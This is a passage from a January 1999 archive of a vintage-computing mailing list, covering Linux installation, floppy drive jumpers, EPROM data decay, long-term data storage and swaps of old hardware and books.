<199901181650.IAA03934@shell2.aracnet.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 914 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/d99f2e7f/attachment.ksh From Hans.Franke at mch20.sbs.de Mon Jan 18 12:02:57 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: References: <199901151030.KAA15220@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 15, 99 11:31:34 am Message-ID: <199901181703.RAA08248@nixpbe.pdb.sni.de> > > Thats it, why unix like systems are sill freak places and > > why windoze rulez. I am a USER (ok, at least sometimes) and > > I want instant applications running, and not recompiling > > the OS, half apps and forgett about the other half because > > of missing sources, or some 'changes' and 'patches' I have > > to do - instant on and instant working (playing, what ever). > My experience is exactly the opposite!. (I guess we both have sometimes a _very_ privat way to talk without listening :) If you had quoted the whole message or at least the context, you see that our viewpoint in't _very_ different. Note, the difference between Unix (and Linux) in general and Linux as x86 OS. As a x86 OS Linux _is_ comperable to Windows, OS/2 or what ever. Insert a CD and have a menue driven instalation, for almost anything needed (ok, SAA like alpha menues, not 'real' graphic like in Windows, but who cares, it's easy), and if you need any application, there is a ready to use rpm package on the distribution, or can be downloaded somewhere. No compiling, scripting or what ever - just use a tool like YaST to select and install the package. For example, my gateway system (a 486-133) was installed by my whife, with only a minor supervison, about things she couldn't know like partition size, swap or some other settings (She is a strict enduser, she can handle Windows, OS/2 and MacOS, and manage a DOS prompt to start apps or games). With SuSE 5.3 she installed the system, including ISDN internet connection and LAN without any trouble, using the SuSE installation UI and YaST. She also did some admin tasks (like adding Users, Groups and Printers) without troubble via YaST). I guess, if She had continued with X (But as gate I just need an alpha term), she eventualy will end up with a usable desktop machine without ever entering any Unix command (KDE will cover quite a lot). Thats what I call comparable to other OSes. (BTW: this system has no C compiler installed - you may not belive it, but Linux cann runn well without :) But for other processors (and other Unixes) you still have the compile and install tast - even when it is someimes as simple as running 2 or 3 make jobs, it's still not as _enduser_ friendly as with x86 Linux or Windows. And my rant was about Unixes != x86 Linux, where this is still a dream, especialy when you want any Software not from your primary vendor. > Over 90% of the time, installing something on this linux machine (which > is anything but standard) consists of unpacking the tar archive and > typing make. That's it. No fiddling about, it just compiles and installs. > Sometimes there's a configuration script to run, but that's no real problem He said the word, there it is again .... COMPILE. > The other 10% of the time? OK, I have to grab K&R and a unix manual and > patch the source. But that's a lot easier than having to patch the > binaries of a commercial product that doesn't come with source (and yes, > I have had to do that _far_ too often). I have never had to recompile the > kernel, or recomile other parts of my system to install application > programs. Maybe I'm just lucky. Of course, you and most of the people here are able to configure, runn and maintain a Unix system (or most other HW of the world) at Guru level - but we are more like an apendix and not the most common users. We could still live fine with an CP/M system, so why the world evolved beyond CP/M ? > But I have had no end of problems with commercial programs that make > silly assumptions about the machine (MS-DOS software often assumes that > the floppy drive is A: and the hard disk is C: - and refuses to let you > change this!). Or that misdetect the hardware I have (my enhanced CGA > card has memory at A8000, and is often misdetected as a CGA card) or > whatever. Sorting out that sort of problem is a lot worse than patching C > source. I know this (remember, I have a 4 FD XT system :), especialy if you have a complete non compatible computer - like the SIEMENS PC-D (best PC ever) who had a 80186 and _no_ realy _no_ I/O device like the IBM, and of course no device at the same address than the PC... It was a lot of fun to patch applications :) > I don't think I've bought a commercial program for a long time that > installed with no problems. But linux stuff is no problem at all. A lot of games install good on my W98 box (a pure game box), althrough I sometimes whish to have more controll. Gruss H. -- Ich denke, also bin ich, also gut HRK From Hans.Franke at mch20.sbs.de Mon Jan 18 12:04:42 1999 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:40:15 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) In-Reply-To: <199901181441.JAA27729@user2.infinet.com> References: <199901181431.OAA05326@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 18, 99 03:31:57 pm Message-ID: <199901181705.RAA08334@nixpbe.pdb.sni.de> > > with the twisted cable you _can't_ install a wrong drive > > as add on, and you _don't_ need to check any jumper or > > what ever (supposed the drive is factory jumpered to #1) > I recently helped a friend with a floppy problem. His broke so > he bought a new one from CompUSA. It didn't work. Two other > geeks looked at it before me with no success. I tried to read > a floppy, noticed the errors and lights, etc. then pulled the drive, > found the slide switch on the side and changed it from 0 to 1. Ooops - shure nobody played around ? > Don't assume drives are set to unit 1 at the factory. It's always good to check. Gruss H. -- Ich denke, also bin ich, also gut HRK From zmerch at 30below.com Mon Jan 18 11:22:34 1999 From: zmerch at 30below.com (Roger Merchberger) Date: Sun Feb 27 18:40:15 2005 Subject: more auction silliness... In-Reply-To: <2d859317.36a3495c@aol.com> Message-ID: <3.0.1.32.19990118122234.00924690@mail.30below.com> Once upon a midnight dreary, SUPRDAVE@aol.com had spoken clearly: >http://www.haggle.com/cgi/getitem.cgi?id=201894731 > >shows some induhvidual selling some IBM family one machine, most likely a 5150 >pc with a minimum bid of $500. Gee, i wonder if he'd buy my 'rare' 5140 for >that price... lol. Check out his other two open auctions - a Pentium 166MMX for $600? Bwahahahahahahahahaha!! ;-) "Merch" -- Roger "Merch" Merchberger --- sysadmin, Iceberg Computers Recycling is good, right??? Ok, so I'll recycle an old .sig. If at first you don't succeed, nuclear warhead disarmament should *not* be your first career choice. From rexstout at uswest.net Mon Jan 18 12:20:59 1999 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:40:15 2005 Subject: Powerbook Duo Help In-Reply-To: <199901151621.IAA32614@shell2.aracnet.com> References: from "Doug Yowza" at Jan 15, 99 04:31:26 am Message-ID: >OK, my initial response would be, yes, it is confused. However, I don't >think that it is the Duo itself that is confused. Might want to reconsider that. I have a Duo 270c here, just an older version with a 68030 CPU. You need to find a program that will reset the power manager. Don't ask me, I just know it works... I had one around here somewhere, but then it got deleted and I haven't been able to find it again. The digging around in info-mac and AMUG archives, and whatever else you can find. The problem is that the power manager gets confused if you unplug the AC adapter from the wall before you unplug the computer. You can also try shutting off the computer and then holding down the power button on the back for a while, I think around 15-20 seconds, but if you can find that program it's much easier. >You might need to simply get a new battery, but you might also be able to >"Recondition" the battery. I know my 520c came with the software to do >this. Battery reconditioning does nothing. Duo's(and I think all of the new ones) use NiMH(Nickel Metal Hydride) batteries, which do not have a memory effect like NiCads, and don't do much of anything when you treat them like a NiCad. although it's worth a try. Either the battery works or it doesn't, if it doesn't there could be a lot of things wrong. If the battery is fried, it needs to be replaced or reconditioned(in a different manner than the NiCad type reconditioning you're thinking of). Check out www.renewit.com for some more info on that. It's local to the Portland, Oregon area, and I have nothing to do with them beyond sitting through a presentation they gave at the local ham radio club meeting a few days ago. -------------------------------------------------------------- | http://members.tripod.com/~jrollins/index.html - Computers | | http://www.geocities.com/Area51/Lair/1681/ - Star Trek | | orham@qth.net list admin KD7BCY | | ham-mac@qth.net Portland, OR | -------------------------------------------------------------- From cisin at xenosoft.com Mon Jan 18 12:51:57 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:15 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: Message-ID: > Well, do not forget the 'chisel and flat rock' technology. That is > pretty durable! Although far from a linear relationship, it is beginning to sound as though data density is directly related to technology advancement, and data longevity is inversely related. So, how'zbout build a stonehenge like creation, and chisel the bits into the hard sectors? Has anyone taken a close enough look at Stonehenge to confirm that the media is unformatted? At least designing the drive would be easier than one for reading sheep. (hint: move the head, not the platter) From Philip.Belben at PowerTech.co.uk Mon Jan 18 12:56:15 1999 From: Philip.Belben at PowerTech.co.uk (Philip.Belben@PowerTech.co.uk) Date: Sun Feb 27 18:40:15 2005 Subject: Books Message-ID: <802566FD.0066B05E.00@PTECHNOTES02.PowerTech.co.uk> This is posted to two lists, apologies to those (Tony) who get it twice. The library here at Power Tech is throwing out some old books. I got a few, including the odd duplicate of things I'm often asked about, but there are many more, all to go in the skip by the end of the week unless rescued. I intend to keep the Mech. eng. handbook, but the others I will send to anyone who can demonstrate a need (such as "I have a box full of TRAM boards but no programming info") for the cost of shipping (I am in Coalville, England). Oh yes. Raeto West's book (I already have it) is about the best book on the PET you could hope to get. Here's the list: Baumeister, Marks, "Standard Handbook for Mechanical Engineers", 7th edn, McGraw Hill 1967 Dunn S, Morgan V, "The PET Personal Computer for Beginners", Prentice Hall, 1981 Osborne A, Donahue C S, "PET/CBM Personal Computer Guide" 2nd edn., McGraw Hill, 1980 West R C, "Programming the PET/CBM", Level, 1982 Eggebrecht L C, "Interfacing to the IBM Personal Computer", H W Sams, 1983 Brodie L, "Starting FORTH", Prentice Hall, 1981 Brodie L, "Thinking FORTH", Prentice Hall, 1984 Jones G, Goldsmith M, "Programming in Occam 2", Prentice Hall, 1988 Berry P, "Sharp APL Reference Manual", I P Sharp, 1979 Gilman L, Rose A J, "APL - an Interactive Approach", 2nd edn, 1976 Philip. From jruschme at hiway1.exit109.com Mon Jan 18 13:06:00 1999 From: jruschme at hiway1.exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:15 2005 Subject: Famous quotes(4 drives on a PC) (was:: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade)) In-Reply-To: <199901181431.OAA05326@nixpbe.pdb.sni.de> from Hans Franke at "Jan 18, 99 03:31:57 pm" Message-ID: <199901181906.OAA15635@hiway1.exit109.com> > Nice, and sounds good, but often (as here found) just a > modern, urban legend - the IBM twist was just a genius > thing to keep part storage and maintainance costs low - > with the twisted cable you _can't_ install a wrong drive > as add on, and you _don't_ need to check any jumper or > what ever (supposed the drive is factory jumpered to #1) Those of us who own older Tandy's are well familiar with their drive setup- jumper all drive selects and pull pins on the cable. Same problem, alternative solution. <<>> From jruschme at hiway1.exit109.com Mon Jan 18 13:10:39 1999 From: jruschme at hiway1.exit109.com (John Ruschmeyer) Date: Sun Feb 27 18:40:15 2005 Subject: Books In-Reply-To: <802566FD.0066B05E.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at "Jan 18, 99 06:56:15 pm" Message-ID: <199901181910.OAA16514@hiway1.exit109.com> > Gilman L, Rose A J, "APL - an Interactive Approach", 2nd edn, 1976 I have to ask... how much to send this one (if it's still available) to send this one to the East Coast of the US? Thanks... <<>> From spc at armigeron.com Mon Jan 18 13:15:25 1999 From: spc at armigeron.com (Sean 'Captain Napalm' Conner) Date: Sun Feb 27 18:40:15 2005 Subject: Books In-Reply-To: <802566FD.0066B05E.00@PTECHNOTES02.PowerTech.co.uk> from "Philip.Belben@PowerTech.co.uk" at Jan 18, 99 06:56:15 pm Message-ID: <199901181916.OAA27990@armigeron.com> A non-text attachment was scrubbed... Name: not available Type: text Size: 472 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/1d08a01f/attachment.ksh From donm at cts.com Mon Jan 18 13:21:21 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:15 2005 Subject: Intel MCS-96 Design Kit In-Reply-To: <199901181409.OAA04863@nixpbe.pdb.sni.de> Message-ID: On Mon, 18 Jan 1999, Hans Franke wrote: > > Anyone know what this Intel MCS-96 Design Kit is? It contains a C8095 in a > > 48 lead DIP, an A8097 pin-grid-array package, two D2004 DIPs, and two D27513 > > DIPs. The package appears to be complete and I would guess circa 1983. > > Its a development kit for the MCS96 series of CPU a hig integrated > controller type CPU family - think of it like a mutant crossbreed > of a 8051 and a 80386sx - fast, and realy interesting to programm. > Used in a lot of application where a lot af real time CPU power > is needed, especialy high data throughput, like air plane systems, > car systems etc. The 96 has some 20+ interupt sources, high speed > i/o, 8/16 bit data bus, A/D etc. Very Register orientated (some > 200 Registers depending on the adressing type) and simple. There > are a lot of versions with numbers from 8094 to 8096, 80194 to 80198 > and around 80296 - together with subversions, names by two letters. > But most of them are just different on chip ROMs. > > The 8097 is a 8096 with enhanced A/D functionality, the BHs are > the ROMless versions (I always grin a bit about this typecode, > since BH is the german abrevation for bra (BüstenHalter), so the > 809xBH is a topless version :) in 68 pin PGA, while the 8095 is > also a 8096 with A/D but less I/O ports to fit a 48 pin DIL (again, > the BH is ROMless. Since there are EPROMS, I guess both are BHs. > (There are also EPROM versions, like always called 879x. > > Gee, what I'm talking, check > http://developer.intel.com/design/MCS96/ > (inel hides there information quite good - a search reveals > only a Y2K document) or better try > http://www.iaw.com/~aubertin/88mgt/eec-iv/8096cpu.htm > for more (did a quick search - Am I good ?:) > > Hey, Marvin, If you don't like this beast, I spend my time in > helping orphaned singleboarders :) > > Have a lot of fun (There are a lot of good development tools > for the MCS96 family, so it should be possible to play a bit). > > In Intel's mind, the i960 is the successor... Anyone want a couple of i960s? A friend had some cards each with a PLCC i960 onboard. I imagine they can be had fairly inexpensively. - don > Gruss > H. > > -- > Ich denke, also bin ich, also gut > HRK > donm@cts.com *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-* Don Maslin - Keeper of the Dina-SIG CP/M System Disk Archives Chairman, Dina-SIG of the San Diego Computer Society Clinging tenaciously to the trailing edge of technology. Sysop - Elephant's Graveyard (CP/M) Z-Node 9 - 619-454-8412 *--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--*--* see old system support at http://www.psyber.com/~tcj visit the "Unofficial" CP/M Web site at http://devili.iki.fi/cpm with Mirror at http://www.mathcs.emory.edu/~cfs/cpm From ard at p850ug1.demon.co.uk Mon Jan 18 12:41:17 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: OT: Alien Media (was Disasters and Recovery) In-Reply-To: <199901180305.TAA07174@saul7.u.washington.edu> from "D. Peschel" at Jan 17, 99 07:05:45 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1337 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/1e29f76c/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 12:47:32 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: from "Sam Ismail" at Jan 17, 99 07:31:37 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 519 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/c5d0b765/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 12:53:39 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <19990118040057.924.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 04:00:57 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1382 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/607bfab9/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 12:58:07 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <19990118051227.656.qmail@brouhaha.com> from "Eric Smith" at Jan 18, 99 05:12:27 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1393 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/93fbdade/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 12:58:59 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <4.1.19990117213113.00985390@208.226.86.10> from "Chuck McManis" at Jan 17, 99 09:31:38 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 122 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/be4bf0db/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 13:06:44 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery In-Reply-To: <01be42ae$03011d60$e78ea6d1@the-general> from "Jason Willgruber" at Jan 17, 99 10:44:35 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1253 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/0bf9a802/attachment.ksh From ard at p850ug1.demon.co.uk Mon Jan 18 13:18:30 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:15 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901181703.RAA08248@nixpbe.pdb.sni.de> from "Hans Franke" at Jan 18, 99 06:03:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1577 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/69e49237/attachment.ksh From Philip.Belben at pgen.com Mon Jan 18 11:34:47 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:15 2005 Subject: TK50Z-GA EPROM Message-ID: <802566FD.0065A143.00@WESTD90.pgen.co.uk> >>The main difference is the power consumption. The CMOS version takes a >>much lower supply current (even when selected). >> >>There may also be differences in the access time (but fast enough CMOS >>EPROMs exist) and the programming algorithm (but that only matters to the >>programmer). >> >>They are essentially pin/function compatible. > > Erm, correct me if I'm wrong ('cause I may very well be) but at least in > comparison with 4xxx CMOS vs. 74xx TTL, not only do the require less power > to do their job, but they can also *provide* less power on their outputs to > other chips' inputs, right? Hmm. You're comparing CMOS with TTL. The traditional EPROMs are not TTL but NMOS - very similar components (at the transistor level) to CMOS, but fewer different sorts available. NMOS uses enhancement mode FETS and depletion mode FETS of N-channel polarity. CMOS uses enhancement mode FETS of both sorts. In theory, depletion mode FETS could be fabricated by the CMOS process, but I've never heard of it being done except perhaps for NMOS-compatible outputs etc. So I don't envisage a difficulty here. The newer designs of CMOS parts should compensate for any inherent disadvantages with CMOS technology. Philip. From Philip.Belben at pgen.com Mon Jan 18 11:40:44 1999 From: Philip.Belben at pgen.com (Philip.Belben@pgen.com) Date: Sun Feb 27 18:40:15 2005 Subject: Disasters and Recovery Message-ID: <802566FD.006614FF.00@WESTD90.pgen.co.uk> >> I find this proposition very doubtful at best, although I don't have any >> solid figures for EPROM data retention. You seem to be suggesting a >> linear relationship between elapsed time and the number of bits that remain >> good. The actual curve is an inverse exponential (if memory serves). > > Wow! That would imply some sort of self-catalyzed reaction, and I'd be > very interested in hearing how that works! Eh? No it wouldn't. Never mind the mechanism, do a thought experiment. Sorry Hans, I mean a Gedankenexperiment :-) Assume you have a memory technology for which you expect half the bits to get zapped in 20 years. In another 20 years, half the bits will get zapped - but it won't be selectively all the others. On average, expect half the remaining (intact) bits to get zapped, and half the already zapped bits to get zapped. So you're left with a quarter. And so on. 20 years is thus the half-life of an exponential decay. Now with technologies like EPROM it's a bit more complicated, because the zapping of bits is not a random (Poisson) process but depends on a decay of charge within the device. But you get the idea (I hope). Philip. From pete at dunnington.u-net.com Mon Jan 18 02:32:38 1999 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 18:40:15 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: Cameron Kaiser "Re: OT? On Programming (was: Re: Computers for children)" (Jan 17, 19:01) References: <199901180301.TAA19764@oa.ptloma.edu> Message-ID: <9901180832.ZM356@indy.dunnington.u-net.com> On Jan 17, 19:01, Cameron Kaiser wrote: > Subject: Re: OT? On Programming (was: Re: Computers for children) > Pete Turnbul wrote: > ::I'd guess elm (which is what pine was originally based on) is smaller, > ::sleeker, and simpler. Not a bad thing... > My original choice of elm was basically because you got to pick from: > > * cat $MAIL > * mailx > * elm cat?? You don't use dd? ;-) > Hmm, let me think ... uh ... let's try elm. Sounds like a reasonable choice :-) -- Pete Peter Turnbull Dept. of Computer Science University of York From pechter at monmouth.com Mon Jan 18 14:10:00 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:15 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <00a201be4281$5ec1b4c0$bf281bce@tower166> from "Daniel T. Burrows" at "Jan 17, 99 07:56:09 pm" Message-ID: <199901182010.PAA77361@pechter.nws.net> > > >> Personally a VMS node suits my liking. > >> > >Mine too, but I haven't gotten all the parts for my VaxStation 3100 yet. > > > I have a few 3100-30's here for spares. What parts do you need? > > Dan The main thing I need to get running is an external SCSI cable from the DEC 68 pin to one of the standard 50 pin connectors. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From donm at cts.com Mon Jan 18 14:14:41 1999 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:40:15 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: Message-ID: On Mon, 18 Jan 1999, Fred Cisin (XenoSoft) wrote: > > Well, do not forget the 'chisel and flat rock' technology. That is > > pretty durable! > > Although far from a linear relationship, it is beginning to sound as though > data density is directly related to technology advancement, and data > longevity is inversely related. > > So, how'zbout build a stonehenge like creation, and chisel the bits into > the hard sectors? Has anyone taken a close enough look at Stonehenge to > confirm that the media is unformatted? At least designing the drive > would be easier than one for reading sheep. (hint: move the head, not the > platter) And I am not too sure that the stones are necessarily in the original positions. Some years back, while sipping an ale in a pub in Salisbury, I was chatting with a native who told me that during WWII the stones had been laid flat since they were too good a landmark for the Luftwaffe and only re-erected after the war. True? Don't know, but it makes some sense. Tony, ever hear that? - don From ckaiser at oa.ptloma.edu Mon Jan 18 14:23:09 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:15 2005 Subject: OT? On Programming (was: Re: Computers for children) In-Reply-To: <9901180832.ZM356@indy.dunnington.u-net.com> from "Pete Turnbull" at Jan 18, 99 08:32:38 am Message-ID: <199901182023.MAA07418@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 602 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/3ab37d85/attachment.ksh From pechter at monmouth.com Mon Jan 18 14:32:23 1999 From: pechter at monmouth.com (Bill Pechter) Date: Sun Feb 27 18:40:15 2005 Subject: thoughts on UNIX and older systems In-Reply-To: <199901182010.PAA77361@pechter.nws.net> from Bill Pechter at "Jan 18, 99 03:10:00 pm" Message-ID: <199901182032.PAA85437@pechter.nws.net> Obviously this should've been direct to Dan. Sorry folks.. Bad mail poster. 8-) > The main thing I need to get running is an external SCSI cable from the > DEC 68 pin to one of the standard 50 pin connectors. > > Bill > Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.nws.net|pechter@pechter.ddns.org From ard at p850ug1.demon.co.uk Mon Jan 18 13:26:41 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:16 2005 Subject: Long term data storage (was: Disasters and Recovery In-Reply-To: from "Fred Cisin" at Jan 18, 99 10:51:57 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 509 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/4b4c4fce/attachment.ksh From gram at cnct.com Mon Jan 18 15:13:21 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery References: Message-ID: <36A3A3F1.5D9F66FA@cnct.com> Tony Duell wrote: > > > How about we start sending all our precious data into space via radio > > waves towards some big celestial body (like one of Jupiter's moons) so > > that in X years it will bounce back and we can then retrieve it > > Jupiter's moons are nowhere near far enough away for this. Radio waves > travel at the speed of light. I'm not sure how far away jupiter is, but > it's a lot less than 1 light year. > > > (hopefully intact thanks to some keen error correction protocol). Of > > A good paper-based storage system (either punched tape or stable printout Schematics. Source code. Drawings. Any other available technical info. _Printed_ on acid-free paper (hemp is best). From proper documentation anything can be built from scratch. We have examples around of printed media that lasted 20 times as long as a mere century time capsule, and they didn't have much preservative technology besides pottery jars in a cave in a dry climate. With the addition of dessicants and oxygen absorbers to properly sealed containers of inert gases, printed media should last for a few ice-age cycles. But I really wouldn't expect a modern computer do manage more than a few decades at best unless somebody developed a functional "stasis field", and we need a major breakthrough in theoretical physics -- and the followup engineering -- for that to happen. In the meantime, human-readable media is probably the best bet, although a bit bulky. (For reasons other than "planned obsolescence", modern artifacts are not as durable as those of primitive people, even when they use the same materials, as we use them in more delicate forms -- compare a Roman gold coin to the gold components in a computer). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Mon Jan 18 15:19:17 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery References: Message-ID: <36A3A555.C7BF87CC@cnct.com> Tony Duell wrote: > > > How about we start sending all our precious data into space via radio > > waves towards some big celestial body (like one of Jupiter's moons) so > > that in X years it will bounce back and we can then retrieve it > > Jupiter's moons are nowhere near far enough away for this. Radio waves > travel at the speed of light. I'm not sure how far away jupiter is, but > it's a lot less than 1 light year. Depending on relative positions in orbit, round-trip time never gets to be more than about 45 minutes. And there would have to be some equipment running to receive and retransmit, signal loss after bouncing is severe, even if lasers were used, let alone long waves like radio. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From william at ans.net Mon Jan 18 15:18:17 1999 From: william at ans.net (William Donzelli) Date: Sun Feb 27 18:40:16 2005 Subject: IBM thingy! In-Reply-To: Message-ID: > Don't discard it or destroy it -- they are probably not all that easy to > get, and I can imagine that one or more folks on this list might be > interested in it. Yes! William Donzelli william@ans.net From userf at clara.net Mon Jan 18 15:30:01 1999 From: userf at clara.net (Rob Gillibrand) Date: Sun Feb 27 18:40:16 2005 Subject: Sanyo 16LT Message-ID: <001901be4329$ba397380$c595fea9@rob> I have recently aquired the above notepad computer I wonder if anyone has any details on the machine and where I might obtain software which will run off floppy etc. Regards Rob Gillibrand -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990118/800fa4e6/attachment.html From adavie at mad.scientist.com Mon Jan 18 15:35:48 1999 From: adavie at mad.scientist.com (Andrew Davie) Date: Sun Feb 27 18:40:16 2005 Subject: Zenith / Dos 2.11 Message-ID: <000601be432a$837198e0$06f438cb@a.davie> Can anyone help this guy? A -----Original Message----- From: Reddzz@aol.com [mailto:Reddzz@aol.com] Sent: Tuesday, January 19, 1999 6:45 AM To: adavie@mad.scientist.com Subject: Dos 2.11 I have a Zenith Z120. Model ZWG-121-32. I, Not knowing what I had, loaded dos 3.3. I did not make a backup copy of the original dos. I need dos 2.11 so I can boot up the system & get it up & running again. If you cannot help me please respond as well so I can continue my search. If you know someone that could possibly help please forward this e-mail to them or get back with me. Thanks for your help in advance. Respectfully, Jim Hill From gram at cnct.com Mon Jan 18 15:50:24 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery References: Message-ID: <36A3ACA0.2FD48AD6@cnct.com> Doug wrote: > > On Sun, 17 Jan 1999, Sam Ismail wrote: > > > Paper will last longer than anything we've been discussing so far (save > > Where did you get that idea? Paper will disolve in just about any > solvent, including water, and is subject to tearing. Again, if we're > talking about preservation in controlled environments, a CD-ROM kicks > paper's butt. > > What makes some of today's technology fragile is simply the density, or > equivalenty, the lack of redundancy in a given area. A plain old EPROM > should be fine for 100 years if you include 100 copies of the information > within it. CD-ROM _may_ last longer than paper, but CD-ROM isn't human-readable. There were comments that the Dead Sea scrools were on parchment rather than paper. True. There are Egyptian papyri that are older than the Dead Sea scrolls (some retaining quite a bit of color). And yes, there's the chiselled stone media. If somebody can get me a good source for affordable media, I'll start work on a printer (I think the headstone folks have some items that could be built into a prototype). -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From gram at cnct.com Mon Jan 18 15:53:13 1999 From: gram at cnct.com (Ward Donald Griffiths III) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery References: <000c01be425a$1fb81480$0df438cb@a.davie> <1999Jan15.132933.1767.181240@smtp.itgonline.com> <3.0.5.32.19990118095732.00f01100@pc> Message-ID: <36A3AD49.2359CF3B@cnct.com> John Foust wrote: > > At 01:08 PM 1/17/99 -0800, Chuck McManis wrote: > >One of the reasons I want to have a completely spec'd Pentium class > >computer is to create an archive that will survive a reasonable amount of > >time (100 years in a time capsule) > > Don't you think that another 100 years of hackers will create a computer- > assisted simulation of old-timey computing? Today's emulators are great; > tomorrow's will include more and more. Sure, having the original hardware > would be fun, but I fully expect that the equivalent of tomorrow's CCC > list-members will be able to experience computing in 1999 terms, if > they desire. Hmm. A Linux emulator (probably running under several other layers of emulation) running xtrs. I can dig it. -- Ward Griffiths WARNING: The Attorney General has determined that Alcohol, Tobacco, and Firearms can be hazardous to your health -- and get away with it. From cmcmanis at freegate.com Mon Jan 18 16:05:28 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:16 2005 Subject: Disasters and Recovery In-Reply-To: <36A3A3F1.5D9F66FA@cnct.com> References: Message-ID: <4.1.19990118140228.00aabe40@mailhost.hq.freegate.com> Somebody wrote: >> Jupiter's moons are nowhere near far enough away for this. Radio waves >> travel at the speed of light. I'm not sure how far away jupiter is, but >> it's a lot less than 1 light year. Ok, so we contact NASA and get them to launch a probe with solar escape velocity, perhaps we can launch it straight "up" relative to the plane of the 